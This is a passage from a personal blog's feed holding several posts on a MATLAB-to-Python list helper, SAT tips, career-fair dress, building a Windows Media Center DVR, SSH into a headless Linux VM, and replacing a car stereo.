&lt;pre&gt;&lt;code class=&quot;language-MATLAB&quot;&gt;function array = pylist(statement, vars)
    workspace = py.dict;
    for v = 1:length(vars)
        update(workspace, py.dict(pyargs(cell2mat(vars(v)), evalin(&apos;caller&apos;, cell2mat(vars(v))))))
    end
    
    cell2mat(cell(py.eval(statement, workspace)))
end
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&quot;usage&quot;&gt;Usage&lt;/h2&gt;

&lt;p&gt;The function takes a string python expression and a cell array of variable names to pass in, and returns an array of the results.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-MATLAB&quot;&gt;&amp;gt;&amp;gt; x = 6

x =

	6

&amp;gt;&amp;gt; pylist(&apos;[q**2 for q in range(int(x))]&apos;, {&apos;x&apos;})

ans =

	0	1	4	9	16	25
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;There’s some cool bits going on here, especially with the variable loading.
MATLAB exposes the current workspace through &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;evalin()&lt;/code&gt;, letting us fetch variables by name.
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;x&lt;/code&gt; needs int casting because it’s comes out as a float.
Most of the code is in processing the python data type wrappers.&lt;/p&gt;

&lt;p&gt;Of course, the minute I finished this I realized MATLAB has its own alternative to list comprehensions, with the function &lt;a href=&quot;http://www.mathworks.com/help/matlab/ref/arrayfun.html&quot;&gt;arrayfun()&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Oops.&lt;/p&gt;

</content>
 </entry>
 
 <entry>
   <title>College Applications: Standardized Testing</title>
   <link href="http://revan.io/2015/01/21/college-applications-standardized-testing/"/>
   <updated>2015-01-21T00:00:00+00:00</updated>
   <id>http://revan.io/2015/01/21/college-applications-standardized-testing</id>
   <content type="html">&lt;p&gt;I figured I’d put down my thoughts on the college application experience here, before this all gets to be too long ago for my advice to be relevant.&lt;/p&gt;

&lt;h2 id=&quot;be-your-own-prep-class&quot;&gt;Be your own prep class&lt;/h2&gt;
&lt;p&gt;I’m sure SAT Prep classes have are effective for some audiences, but seeing as you’re reading this right now, I’d wager you have it in you to save your time and money by sitting down with a practice book and reading the advice there.&lt;/p&gt;

&lt;p&gt;The material on the exams isn’t new or hard, for the most part: it’s the (frankly unrealistic) presentation via timed multiple choice that gets you.
Sit down with some practice tests and keep at it until you can produce the numbers you want, &lt;em&gt;then&lt;/em&gt; take the actual exam.&lt;/p&gt;

&lt;h2 id=&quot;dont-omit&quot;&gt;Don’t omit&lt;/h2&gt;
&lt;p&gt;I’ve heard enough airy theorizing on this to make me want to weigh in: on the SAT, a correct answer yields 1 point, an incorrect answer -0.25 points, and an omitted answer 0.&lt;/p&gt;

&lt;p&gt;The penalizing makes sense: there are five choices to a question, so for completely random selection we would average 1 right for 4 wrong, or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;(1 * 1) + (4 * -0.25) = 0&lt;/code&gt; points, exactly neutral.&lt;/p&gt;

&lt;p&gt;If you can eliminate even just one, the choice is clear: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;(1 * 1) + (3 * -0.25) = 0.25&lt;/code&gt; points on a random selection of the remaining choices, so don’t omit.
To a lesser extent, assuming you’re not the sort of person who falls for every trick answer, having even the slightest intuition means means a positive expected value.&lt;/p&gt;

&lt;h2 id=&quot;sat-subject-tests&quot;&gt;SAT Subject Tests&lt;/h2&gt;
&lt;p&gt;For some reason no one ever told me about these, but the top schools will require you take a few. These are a bit more involved.&lt;/p&gt;

&lt;h2 id=&quot;filter-your-email&quot;&gt;Filter your email&lt;/h2&gt;
&lt;p&gt;Standardized tests tend to have an opt-out checkbox in the personal identification section saying something about sharing your email.
Leave this unchecked, and you’ll be treated to a deluge the most obscure colleges imploring you to apply.
It’s cute, at first, but it gets to the point where you can’t use your inbox anymore.&lt;/p&gt;

&lt;p&gt;The flood slowly recedes as you make your way through your freshman year of college, but for some reason a few schools still email me to this day, pathetic dejected puppies whimpering at my digital doorstep, wishing me a happy birthday and reminding me that “Revan, it’s still not too late to apply!”&lt;/p&gt;

&lt;p&gt;The body count thus far? Over 3,400 emails.&lt;/p&gt;

&lt;p&gt;Gmail, at least, provides the ability to automatically filter mail: set up a filter that acts on &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;from:(university OR college OR admissions) -{CollegeBoard,OtherUniversitiesYouCareAbout}&lt;/code&gt; and tucks them away out of sight.&lt;/p&gt;

&lt;h2 id=&quot;dont-worry&quot;&gt;Don’t worry&lt;/h2&gt;
&lt;p&gt;In the end, these tests are fundamentally arbitrary, in that they measure your ability to test more than your ability to succeed academically. The people in admissions know this, so as long as you’re near the average score for the school, the SAT won’t sink your application.&lt;/p&gt;

&lt;p&gt;Conversely, even a great score won’t carry you through: I happen to perform quite well on standardized testing, but even with my 2390/2400 I got my fair share of awkwardly worded rejections. More than I’d appreciate, for sure.&lt;/p&gt;

&lt;p&gt;As it turns out, the other parts of the application are pretty important too.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Career Fair: How Do I Clothes?</title>
   <link href="http://revan.io/2014/08/20/career-fair-how-do-i-clothes/"/>
   <updated>2014-08-20T00:00:00+00:00</updated>
   <id>http://revan.io/2014/08/20/career-fair-how-do-i-clothes</id>
   <content type="html">&lt;p&gt;This question keeps popping up on Facebook every time a fair comes around, and answers always span from “suit and tie” to “t-shirt and jeans” to “giant banana suit”.
Rutgers Career Services recently weighed in on this by emailing the entire undergrad a PDF sternly warning us that the fair is serious business where nothing less than a suit is appropriate, and inviting us to a variety of events where we can glean similar gems from presenters who have little understanding of the CS field.&lt;/p&gt;

&lt;h2 id=&quot;for-the-swag&quot;&gt;For the Swag&lt;/h2&gt;
&lt;p&gt;I have no shame admitting one of the bigger reasons I show up at these events is the freebies.
Staplers, USB drives, toothbrushes…
All sorts of things normally available at outrageous prices from the campus convenience store.
Pack a bag of some sort, so you don’t end up fumbling your loot for the rest of the day.&lt;/p&gt;

&lt;h2 id=&quot;for-the-job&quot;&gt;For the Job&lt;/h2&gt;
&lt;p&gt;If you’re at the fair, chances are you’re at least hoping for a job.
Logically, you dress to fit in with your target environment – but that’s usually not a suit.
Even in business-type companies, chances are the CS employees aren’t customer-facing, so dress requirements are laxer: polo or sweater and slacks is as formal as you’ll see or need for most interviews.&lt;/p&gt;

&lt;p&gt;In fact, I’d say there’s a rather widely held unstated assumption that if someone is overdressed in this field, it’s a sign of overcompensation for a lack of skill.&lt;/p&gt;

&lt;h3 id=&quot;wear-what-you-want&quot;&gt;Wear what you want&lt;/h3&gt;
&lt;p&gt;You want to look decent, so sweatpants and baggy t-shirt is out, but the important thing is that you feel comfortable and confident.
I go with jeans and a hoodie, or a leather jacket.&lt;/p&gt;

&lt;p&gt;Really though, your clothing doesn’t have nearly as much of an impact as what’s on your resume.
When the recruiters are going through their stacks later, they’re not going to remember how you dressed.&lt;/p&gt;

&lt;p&gt;Of course, I’d assume the clothing situation is entirely different in other fields.&lt;/p&gt;

&lt;h3 id=&quot;are-you-in-the-right-place&quot;&gt;Are you in the right place?&lt;/h3&gt;
&lt;p&gt;I landed my current internship from a career fair, somewhat surprising as there aren’t too many startups around these events.
After handing them my resume and briefly talking about it, they had handed me a rubber cauliflower (to date the weirdest swag), and later emailed me a code check.&lt;/p&gt;

&lt;p&gt;Talking with the recruiter later, I learned there were ~180 applicants that day, and I was the only one to pass the code check.
This wasn’t a particularly hard preliminary screen, either – just a couple basic integer manipulation questions.&lt;/p&gt;

&lt;p&gt;I won’t pretend to be the top of Rutgers CS talent, so why is this?
Evidently, the competent students aren’t applying places through the fair.&lt;/p&gt;

&lt;h2 id=&quot;so&quot;&gt;So…&lt;/h2&gt;
&lt;p&gt;You’ll want to find companies and apply online.
You can show up at the career fair and drop resumes with the few relevant companies, but if you limit yourself to just the ones that show up, you’ll have applied to dangerously few positions.&lt;/p&gt;

&lt;p&gt;And as always, “free yo-yo’s and hair gel” remains a valid reason to attend.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>DIY DVR Adventures</title>
   <link href="http://revan.io/2014/08/03/diy-dvr-adventures/"/>
   <updated>2014-08-03T00:00:00+00:00</updated>
   <id>http://revan.io/2014/08/03/diy-dvr-adventures</id>
   <content type="html">&lt;p&gt;I decided to finally replace my family’s pitiful set-top DVR.&lt;/p&gt;

&lt;h2 id=&quot;the-past&quot;&gt;The Past&lt;/h2&gt;
&lt;p&gt;Our entry into the DVR world was with the &lt;a href=&quot;http://www.amazon.com/TiVo-TCD649080-80-Hour-Digital-Recorder/dp/B000ER5G58&quot;&gt;TiVo Series 2&lt;/a&gt;, a chunky box that interacted with the cable box via a taped-on IR emitter. It had inside two cable tuners, one of which was connected to the cable box and the other directly to the cable, providing the ability to watch two channels at once: one under 100 (unencrypted), and the other any channel.&lt;/p&gt;

&lt;p&gt;The TiVo box sold for ~$200, but also required a $15 monthly subscription to receive upcoming TV schedules.
There was an option for a lifetime service plan for several hundred dollars, but that was pretty clearly a terrible deal considering this box didn’t even do HD.
In retrospect, that’s an exorbitant monthly fee considering scraping work being done, and the free alternatives schedule services maintained by volunteers, but those concerns were quickly quelled by cries of “OH MY GOD, I CAN PAUSE LIVE TV!”&lt;/p&gt;

&lt;p&gt;This all worked out alright for a few years until Optimum, in what I can only assume was part of an ongoing campaign to undercut the KGB’s customer service ratings, decided to begin encrypting &lt;em&gt;all&lt;/em&gt; channels, even the lower numbered ones.
This meant that of the TiVo’s two-tuner design, the straight-from-cable tuner was now useless, recording only a stern warning that cable box is needed.
From a software point of view, we could then disable the unencrypted tuner and settle for only recording one show at a time.
Enter TiVo’s brilliant software design: there was no way to disable the tuner, and the software would try to optimize recording logistics by assigning the unencrypted tuner wherever possible.
In the end, then, the TiVo lost the ability to record any channel below 100. Goodbye, Comedy Central!&lt;/p&gt;

&lt;p&gt;Understandably, this situation wasn’t to be expected years prior when the software was designed, so it’s somewhat unreasonable to expect configuration options to address this issue.
What I did expect, though, was for some sort of hotfix to be pushed: this is a pretty expensive service we’re paying for, after all.
No fix came, and the box was dead in the water with no way for community support.&lt;/p&gt;

&lt;p&gt;Not eager at the thought of having another TiVo box obsoleted down the road, I decided to try out the cable provider’s own DVR solution, an upgrade costing an additional $8 per month with no hardware purchase requirement.
Despite its lumbering Windows 95 monstrosity of a UI, it got the job done and for relatively cheap.
It was pretty barebones, so I supplemented it with a &lt;a href=&quot;http://www.raspbmc.com/&quot;&gt;Raspberry Pi running XBMC&lt;/a&gt;, which streamed files from a desktop on LAN.&lt;/p&gt;

&lt;p&gt;I decided there must be a more elegant solution, and decided to build my own DVR.
I found the &lt;a href=&quot;http://cetoncorp.com/products/infinitv-4-pcie/&quot;&gt;Ceton InfiniTV 4&lt;/a&gt;, a PCI-e expansion card for desktops promising four cable tuners, for the sizeable sum of $200.
Still, less than the price of a TiVo, and no recurring fees.&lt;/p&gt;

&lt;h2 id=&quot;os&quot;&gt;OS&lt;/h2&gt;
&lt;p&gt;For the operating system, I was excited to try &lt;a href=&quot;http://www.mythtv.org/&quot;&gt;MythTV&lt;/a&gt;, an open source DVR software that has plugins for cool stuff like automatically detecting and skipping commercials, and of course runs on Linux.
Optimum, never one to disappoint, rained on that parade by setting all their channels to &lt;a href=&quot;http://en.wikipedia.org/wiki/Copy_Control_Information&quot;&gt;“Copy Once”&lt;/a&gt; rather than “Copy Freely”, coating every channel with thick slops of DRM.
Essentially, content is encrypted in such a way that only approved software can decrypt it.
Gaining approval for a software in this case is a multi-thousand dollar certification process consisting of proving that the software abides by the requested DRM restrictions, in this case only allowing a single copy of each program.
Being an open source project, MythTV can’t get certified for this unlike Microsoft or TiVo, so none of my channels would be watchable.
So, I was forced into Windows Media Center.
Luckily, Rutgers students get free copies of Windows through &lt;a href=&quot;https://www.dreamspark.com/&quot;&gt;Dreamspark&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;the-build&quot;&gt;The Build&lt;/h2&gt;
&lt;p&gt;I had a 2005 Dell desktop that I had upgraded with a GPU a few years back, so I decided I’d toss the card in there and be done with it.
Setup went fine until it came time to install the Ceton drivers, at which point the system crashed.
After some super fun troubleshooting, including getting a license for a different version of Windows, I learned from Ceton support that the old nForce chipset on the AMD motherboard was incompatible.
Bummer.
The best part about this situation was that there was no upgrade path for this machine: using a rare BTX formfactor, replacement motherboards are hard to come by, and upgrading the motherboard would mean replacing the CPU, RAM, and PSU at least.&lt;/p&gt;

&lt;h2 id=&quot;the-build-2&quot;&gt;The Build 2&lt;/h2&gt;
&lt;p&gt;I decided to start fresh:&lt;/p&gt;
&lt;table&gt;&lt;thead&gt;
&lt;tr&gt;
&lt;th align=&quot;left&quot;&gt;Type&lt;/th&gt;
&lt;th align=&quot;left&quot;&gt;Item&lt;/th&gt;
&lt;th align=&quot;left&quot;&gt;Price&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;&lt;tbody&gt;
&lt;tr&gt;
&lt;td align=&quot;left&quot;&gt;&lt;strong&gt;CPU&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;&lt;a href=&quot;http://pcpartpicker.com/part/amd-cpu-ad640kokhlbox&quot; rel=&quot;nofollow&quot;&gt;AMD A6-6400K 3.9GHz Dual-Core Processor&lt;/a&gt;&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;$64.24&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;left&quot;&gt;&lt;strong&gt;Motherboard&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;&lt;a href=&quot;http://pcpartpicker.com/part/msi-motherboard-a78me35&quot; rel=&quot;nofollow&quot;&gt;MSI A78M-E35 Micro ATX FM2+ Motherboard&lt;/a&gt;&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;$52.99&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;left&quot;&gt;&lt;strong&gt;Memory&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;&lt;a href=&quot;http://pcpartpicker.com/part/kingston-memory-hx318c10frk28&quot; rel=&quot;nofollow&quot;&gt;Kingston Fury Red Series 8GB (2 x 4GB) DDR3-1866 Memory&lt;/a&gt;&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;$72.99&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;left&quot;&gt;&lt;strong&gt;Storage&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;&lt;a href=&quot;http://pcpartpicker.com/part/western-digital-internal-hard-drive-wd10ezex&quot; rel=&quot;nofollow&quot;&gt;Western Digital Caviar Blue 1TB 3.5&amp;quot; 7200RPM Internal Hard Drive&lt;/a&gt;&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;$57.99&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;left&quot;&gt;&lt;strong&gt;Case&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;&lt;a href=&quot;http://pcpartpicker.com/part/cougar-case-spike&quot; rel=&quot;nofollow&quot;&gt;Cougar Spike MicroATX Mini Tower Case&lt;/a&gt;&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;$15.00&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;left&quot;&gt;&lt;strong&gt;Power Supply&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;&lt;a href=&quot;http://pcpartpicker.com/part/corsair-power-supply-cs450m&quot; rel=&quot;nofollow&quot;&gt;Corsair CSM 450W 80+ Gold Certified Semi-Modular ATX Power Supply&lt;/a&gt;&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;$54.99&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;left&quot;&gt;&lt;strong&gt;Operating System&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;&lt;a href=&quot;http://pcpartpicker.com/part/microsoft-os-fqc04649&quot; rel=&quot;nofollow&quot;&gt;Microsoft Windows 7 Professional SP1 (Dreamspark) (64-bit)&lt;/a&gt;&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;$0.00&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;left&quot;&gt;&lt;strong&gt;Other&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;Ceton InfiniTV 4&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;$200.00&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;left&quot;&gt;&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;&lt;strong&gt;Total&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;left&quot;&gt;&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;$518.20&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;

&lt;p&gt;I picked the AMD processor because of its low price and its powerful integrated graphics.
The high speed RAM is necessary for effective use of the graphics power.
The hard drive is cheap but fast enough to keep up with recordings.
The case was on sale, the motherboard fit the pieces, and the PSU fed everything fine.
I chose Windows 7, not because of fanatical anti-8-ism, but because of the free Media Center availability.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/public/dvr.png&quot; alt=&quot;build complete&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;the-setup&quot;&gt;The Setup&lt;/h2&gt;
&lt;p&gt;This time around, driver installs went without issue.
Setting up the InfiniTV was straightforward; it pops into any PCI-e slot in the motherboard, then takes two inputs: a coaxial cable, and a Multi-Stream CableCARD rented from the cable provider for $2 a month, the same as a modern TiVo.
Note that the coaxial cable is the raw encrypted cable – no more need for a standalone cable box.&lt;/p&gt;

&lt;p&gt;When I opened Windows Media Center, though, I had an unpleasant surprise: after running some diagnostics, it bluntly informed me that the system was not compliant with the minimum requirements for watching live TV.
Confused as to what purchasing mistake I might have made, I ended up realizing that I had forgotten to install the drivers for the AMD integrated GPU; it was trying to render the video using only the CPU.&lt;/p&gt;

&lt;p&gt;Oops.&lt;/p&gt;

&lt;p&gt;With that fixed, the rest ran fine.
I needed to call the Optimum number onscreen for activation, where I was put on hold listening to highly lossy smooth jazz periodically punctuated by an overeager recording telling me to check out their cool website, only to interrupt himself to remind me to change the batteries in my remote if it’s not working, or some similar drivel.&lt;/p&gt;

&lt;p&gt;After years of mediocre software, Windows Media Center is a nice step up.
A responsive interface, Netflix, a graphical movie listing, and the ability to play files from disk combine to make a nice experience.
Since the device even has a decent GPU, it can fluidly fastforward TV while pitch-shifting the audio rather than do the spotty slideshow fastforward of my previous devices.
Watching the news at 1.33x speed is cool, and keeps things fresh.&lt;/p&gt;

&lt;p&gt;It even offered to scan through all the channels and detect which ones were received, hiding the rest.
Great! Except…&lt;/p&gt;

&lt;h3 id=&quot;tuning-adapter&quot;&gt;Tuning Adapter&lt;/h3&gt;
&lt;p&gt;The staple of my parents’ TV diet, a high-numbered French movie channel, was not available.
This channel, and others around it in the channel listing, are less popular so using &lt;a href=&quot;http://en.wikipedia.org/wiki/Switched_video&quot;&gt;Switched Digital Video&lt;/a&gt; Optimum is able to save bandwidth by only sending the signal to customers actively trying to watch the channel.
Regular cable boxes handle SDV requests behind the scenes, but for other devices, you need a standalone “Tuning Adapter”, a little black box which is installed between the InfiniTV and the coaxial cable, relaying requests for SDV channels to the cable provider.&lt;/p&gt;

&lt;p&gt;Thankfully, this is offered free of charge, but alas the device is flaky as hell and needs regular rebooting, sometimes failing to switch channels.&lt;/p&gt;

&lt;h2 id=&quot;thoughts&quot;&gt;Thoughts&lt;/h2&gt;
&lt;p&gt;This project ended up going way over budget, though still comparable in price to purchasing a new TiVo with service for a couple years.
If you find yourself with a recent, decently powerful computer lying around, this project might be more cost effective.&lt;/p&gt;

&lt;p&gt;The biggest lesson from this adventure for me is that Optimum is a miserable lot, but probably the same as most cable providers.
The layers of unnecessary difficulty they imposed make me unsure of how solid a decision this was.&lt;/p&gt;

&lt;p&gt;I might get lucky and turn out to just have a faulty tuning adapter, but this could be a real pain.&lt;/p&gt;

&lt;p&gt;Of course, the best course of action when it comes to TV would be to cut the cable entirely.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Seamless Linux VM</title>
   <link href="http://revan.io/2014/07/13/seamless-linux-vm/"/>
   <updated>2014-07-13T00:00:00+00:00</updated>
   <id>http://revan.io/2014/07/13/seamless-linux-vm</id>
   <content type="html">&lt;p&gt;OS X is a popular environment for Computer Science students, as is Windows to a lesser extent, but both fall short or make life unnecessarily hard when it comes to the lower level C programming required by the curriculum.
Surprises like line endings and &lt;a href=&quot;http://stackoverflow.com/questions/1413785/sem-init-on-os-x&quot;&gt;little deviations from POSIX&lt;/a&gt; can be a pain to track down.
For these classes, Linux is almost mandatory. For this there are three solutions:&lt;/p&gt;

&lt;h2 id=&quot;dual-boot&quot;&gt;Dual Boot&lt;/h2&gt;
&lt;p&gt;The most straightforward and obvious solution is to install Linux.
Not always an option, though, as some computers have unsupported hardware that can cause no end of problems on their own.&lt;/p&gt;

&lt;p&gt;And, of course, some people are afraid of making the switch.
I’m no fan of pushing uneasy people into this sort of deal, unless I’m confident they’ll be able to get prompt help as needed.&lt;/p&gt;

&lt;h2 id=&quot;ssh&quot;&gt;SSH&lt;/h2&gt;
&lt;p&gt;I’ve seen some people solve this problem by SSHing into the school’s Linux machines and working from there.
That solution seems terribly unpleasant, considering the dated software selection and the dependence on a stable internet connection from a laptop.&lt;/p&gt;

&lt;h2 id=&quot;vm&quot;&gt;VM&lt;/h2&gt;
&lt;p&gt;Instead of installing to the system, installing &lt;a href=&quot;http://www.ubuntu.com&quot;&gt;Ubuntu&lt;/a&gt; inside &lt;a href=&quot;https://www.virtualbox.org&quot;&gt;VirtualBox&lt;/a&gt;.
This yields a fully functional Linux desktop, constrained inside a window on the native OS X or Windows desktop.
While this provides the full functionality of an install with the security of reverting everything with a click of the mouse, running a full desktop in a full desktop unsurprisingly leads to fairly high resource consumption.&lt;/p&gt;

&lt;p&gt;Also, there’s the non trivial awkwardness of having to work inside a different environment where your regular window management workflow has no bearing.
VirtualBox offers a “Seamless Mode” setting where it hides the virtual machine and mixes the guest applications in with the host’s, but this still requires the guest to render the applications.
This also didn’t work with my &lt;a href=&quot;/2013/11/09/keyboard-centered-workflow-on-windows-8/&quot;&gt;Windows 8 window management setup&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;vm-ssh&quot;&gt;VM SSH&lt;/h2&gt;
&lt;p&gt;The solution I came up with, back when I was using Windows for hardware reasons, is kinda cool: I ran a lightweight Linux installation in a VM with an SSH server, and connected to that.&lt;/p&gt;

&lt;h4 id=&quot;installing&quot;&gt;Installing&lt;/h4&gt;
&lt;p&gt;Installation of the Linux guest is standard.
I installed &lt;a href=&quot;https://www.archlinux.org&quot;&gt;Arch Linux&lt;/a&gt;, a super barebones distribution, though &lt;a href=&quot;http://www.ubuntu.com/download/server&quot;&gt;Ubuntu Server&lt;/a&gt; would do the trick too.
The important thing here is we’re looking for essentially a headless system that doesn’t even run an X server.&lt;/p&gt;

&lt;h4 id=&quot;port-forwarding&quot;&gt;Port Forwarding&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;/public/vmssh1.png&quot; alt=&quot;port forwarding&quot; /&gt;
Once the Linux guest is installed and running the ssh daemon, you forward one of your host ports to guest port 22, conventionally used for ssh.&lt;/p&gt;

&lt;h4 id=&quot;connect&quot;&gt;Connect&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;/public/vmssh2.png&quot; alt=&quot;ssh&quot; /&gt;
Next, ssh in:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;ssh [user]@localhost -p [host port]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Pictured here is &lt;a href=&quot;https://www.cygwin.com&quot;&gt;Cygwin&lt;/a&gt;, a set of UNIX tools for Windows, which I already had installed, otherwise &lt;a href=&quot;http://bliker.github.io/cmder/&quot;&gt;Cmder&lt;/a&gt; is probably easiest.&lt;/p&gt;

&lt;p&gt;At this point, you have a native Windows application offering a full Linux terminal, package manager and all.
Since there’s no full desktop, this ends up being rather lightweight – my setup ran at under 100 Mb RAM.&lt;/p&gt;

&lt;p&gt;But, it’s running on its own virtual drive, which means files on the VM and files on the host are isolated.&lt;/p&gt;

&lt;h4 id=&quot;shared-home&quot;&gt;Shared /home/&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;/public/vmssh3.png&quot; alt=&quot;shared home&quot; /&gt;
Using VirtualBox’s Shared Folders feature, I shared my Windows home directory with the guest, and within the guest used it as my home directory.
This means that the VM can now access all of my files, notably my workspace.
This also means shared dotfiles across host and guest for convenient preconfiguration.&lt;/p&gt;

&lt;p&gt;As a caveat, this also means shared SSH keys.
I never figured out how to ssh in to the VM from the host.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Car Stereo Receiver Replacement</title>
   <link href="http://revan.io/2014/07/07/car-stereo-receiver-replacement/"/>
   <updated>2014-07-07T00:00:00+00:00</updated>
   <id>http://revan.io/2014/07/07/car-stereo-receiver-replacement</id>
   <content type="html">&lt;p&gt;A few months back I replaced the stereo receivers in a 10 and a 20 year old family car.
Fed up with the lack of auxillary input (or even CD player, on the older one), I started on what would end up being a rather straightforward project.&lt;/p&gt;

&lt;h2 id=&quot;shopping&quot;&gt;Shopping&lt;/h2&gt;
&lt;p&gt;I ordered all my stuff from Amazon, because Prime shipping is awesome.
Shopping ended up being the hardest part for me, because I wasn’t sure about compatibility or even what harware was required.
Hence this.&lt;/p&gt;

&lt;h3 id=&quot;receiver&quot;&gt;Receiver&lt;/h3&gt;
&lt;p&gt;Receiver units follow an ISO standard for sizes, which means your car takes one of two sizes: single or double DIN.
A single DIN is about two inches tall.&lt;/p&gt;

&lt;p&gt;If you’ve got a double slotted opening, either get a double height receiver, or a cheap mounting unit for a single slot sized device.
I went with &lt;a href=&quot;http://www.amazon.com/Kenwood-KDC-152--Dash-MP3-Receiver/dp/B006KKS7XQ/ref=lp_10980601_1_4?s=car&amp;amp;ie=UTF8&amp;amp;qid=1404681359&amp;amp;sr=1-4&quot;&gt;this receiver&lt;/a&gt;, as the cheapest thing I could find with an auxillary input.&lt;/p&gt;

&lt;h3 id=&quot;wiring-harness&quot;&gt;Wiring Harness&lt;/h3&gt;
&lt;p&gt;Though the receiver sizes may be standardized, the wiring isn’t.
The receiver has a bunch of wires leading out, but the dashboard expects a rectangular plug.
You’ll want to pick up a Metra Wiring Harness for your make and model.
Amazon is pretty nice for this sort of thing, letting you filter by compatibility with your vehicle.&lt;/p&gt;

&lt;h3 id=&quot;more&quot;&gt;More?&lt;/h3&gt;
&lt;p&gt;The older car needed a special adapter for its non-standard radio.
Never got that working (I don’t really miss it), but that means you should look around and see if you can find any model-specific quirks.&lt;/p&gt;

&lt;h2 id=&quot;installing&quot;&gt;Installing&lt;/h2&gt;

&lt;h3 id=&quot;soldering&quot;&gt;Soldering&lt;/h3&gt;
&lt;p&gt;To wire up the receiver and wiring harness, you gotta solder.
Everything’s color coded, so it’s pretty self explanatory.
Unless you don’t know how to solder, in which case pick up a cheap kit like &lt;a href=&quot;http://www.amazon.com/Elenco-Electronics-ST-12-Soldering-Tool/dp/B0002LLWZY/ref=sr_1_1?ie=UTF8&amp;amp;qid=1404782379&amp;amp;sr=8-1&quot;&gt;this one&lt;/a&gt; and get learnin’.&lt;/p&gt;

&lt;p&gt;Strip the coating from the wires, intertwine the exposed ends, get a nice dollop on there and let it cool.
Insulate with electrical tape or the likes.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/public/receiver.jpg&quot; alt=&quot;Soldering done&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;time-for-some-open-heart-surgery&quot;&gt;Time for some open-heart surgery&lt;/h3&gt;
&lt;p&gt;This part can vary widely from car to car, so you’ll need to look for guides on receiver installation for yours, perhaps with some help from the fine chaps over at YouTube.
For one car I had to remove the entire dash, for the other I was able to unscrew just the receiver (but set off the anti-theft alarm midway).&lt;/p&gt;

&lt;p&gt;Pop the hood and unplug the battery before starting, of course.&lt;/p&gt;

&lt;p&gt;After freeing it, the old receiver should slide out with some encouragement, at which point you can swap the cable plugs and slide the new in.
Daiylight and an extra pair of hands to hold the receiver while you grope around for the cables would be handy, though I ended up doing it alone in the dark because I couldn’t wait.&lt;/p&gt;

&lt;p&gt;Close it up, reconnect the power, engine on, and hope for the best.&lt;/p&gt;

&lt;h2 id=&quot;done&quot;&gt;Done&lt;/h2&gt;
&lt;p&gt;I’m far from being competant at auto maintenance (this was my first time under the hood, even), but this project was pretty approachable, cheap (&amp;lt;$100) and requires minimal tools – once you’ve figured out what parts you need.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Project Showcase with YAML and Liquid</title>
   <link href="http://revan.io/2014/04/29/project-showcase-with-yaml-and-liquid/"/>
   <updated>2014-04-29T00:00:00+00:00</updated>
   <id>http://revan.io/2014/04/29/project-showcase-with-yaml-and-liquid</id>
   <content type="html">&lt;p&gt;When I remade my website with &lt;a href=&quot;http://jekyllrb.com/&quot;&gt;Jekyll&lt;/a&gt; last week, I made a project showcase page (check it out in the sidebar!).
